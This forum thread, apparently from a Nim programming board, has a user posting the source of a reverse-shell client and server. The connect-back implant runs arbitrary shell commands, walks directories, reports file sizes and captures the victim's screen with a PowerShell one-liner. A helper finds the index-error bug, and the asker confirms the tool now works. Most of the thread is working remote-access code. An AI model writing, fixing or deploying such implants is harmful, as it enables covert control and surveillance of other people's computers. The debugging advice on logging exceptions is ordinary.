I have tested this by itself and it works great. When I implement it in client / server, i can get it to respond.
Code -
elif input.startsWith("scr"):
var powershell: string = "powershell.exe"
var command = "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size); $bitmap.Save('screenshot.png')"
let result = os.execShellCmd(powershell & " " & command)
if result != 0:
let failed = "Failed to take screenshot"
socket.send(failed & "\n")
else:
let succeeded = "Screenshot successfully taken"
socket.send(succeeded & "\n")
Works fine here though - Code -
import os
var powershell: string = "powershell.exe"
var command = "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size); $bitmap.Save('screenshot.png')"
let result = os.execShellCmd(powershell & " " & command)
if result != 0:
echo "Failed to take screenshot: ", result
else:
echo "Screenshot taken"
Here is a copy of the current client / server. The stand alone version works great. Appears to only have a problem when implemented into the server side when trying to use "elif" or "startswith" to initiate its execution. I put the screenshot code block in the server twice seeing that startswith was not responding in the hopes that elif would somehow work. Neither respond.
Stand Alone Version -
import os
var powershell: string = "powershell.exe"
var command = "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size); $bitmap.Save('screenshot.png')"
let result = os.execShellCmd(powershell & " " & command)
if result != 0:
echo "Failed to take screenshot: ", result
else:
echo "Screenshot taken"
Client -
import net
import strutils
var server: Socket = newSocket()
server.bindAddr(Port(443))
server.listen()
stdout.writeLine("The Sever is now Listening for incoming connections ... ")
var client: Socket = new(Socket)
server.accept(client)
stdout.writeLine("The connection has been established.")
while true:
let input: string = stdin.readLine()
client.send(input & "\r\L")
let message: string = client.recvLine()
if ":" in message:
for x in message.split(";"):
stdout.writeLine(x)
echo "\n"
else:
stdout.writeLine(message)
echo "\n"
server.close()
Server -
import net
import osproc
import os
import strutils
let
ip = "127.0.0.1"
port = 443
socket = newSocket()
prompt = "shell>"
var cmd : string
if system.hostOS == "windows":
cmd = "cmd /C "
else:
cmd = "/bin/sh -c "
try:
socket.connect(ip, Port(port))
while true:
try:
#socket.send(prompt)
var input = socket.recvLine()
echo "Here is the input: ", input
if input == "disconnect" or input == "exit":
socket.send("[+] Exiting Shell\n")
socket.close()
system.quit(0)
elif input[0..6] == "getsize":
let file_path = input[8..^1]
let file_size = os.getFileSize(file_path)
let the_file_size = $file_size
let message = "The file's size is:"
socket.send(message & the_file_size & "\n")
elif input[0..3] == "path":
var resp = newSeq[string]()
let my_path = input[5..^1]
for entry in walkDir(my_path,checkDir=true):
resp.add(entry.path)
socket.send(join(resp,";") & "\n")
elif input[0..2] == "cmd":
var command = input[3..^1]
var (result, _) = execCmdEx(cmd & command)
var resp = newSeq[string]()
let lines = result.splitLines()
for line in lines:
resp.add(line)
socket.send(join(resp, ";") & "\n")
elif input.startsWith("scr"):
var powershell: string = "powershell.exe"
var command = "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size); $bitmap.Save('screenshot.png')"
let result = os.execShellCmd(powershell & " " & command)
if result != 0:
let failed = "Failed to take screenshot"
socket.send(failed & "\n")
else:
let succeeded = "Screenshot successfully taken"
socket.send(succeeded & "\n")
elif input[0..2] == "scr":
echo "THIS PART IS WORKING"
var powershell: string = "powershell.exe"
var command = "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size); $bitmap.Save('screenshot.png')"
let result = os.execShellCmd(powershell & " " & command)
if result != 0:
echo "Failed to take screenshot: ", result
else:
echo "Screenshot taken"
except:
socket.send("\n")
#socket.close()
#system.quit(0)
except:
socket.close()
system.quit(0)
This is an important lesson on why you should never catch an exception and simply quit or do nothing. In each except block, put the following:
echo "Error: "
echo getCurrentException().getStackTrace()
echo getCurrentExceptionMsg()
You'll see there's an index error when you input scr to your program. This is because you're using elif input[0..6] == "getsize". This works fine if input has a length greater than or equal to 7, but since "scr" has a length of 3, you'll get an index error on this particular check. This is why I told you to use startsWith for each elif check in your other thread.
I see. Great!! It's working. I was sure Yesterday my code was going to work because it looks right. I really appreciate the insight and knowledge you have.
I changed all the "[0..]" slices to "startsWith". Works perfectly now. I will keep listening to you. Thanks again!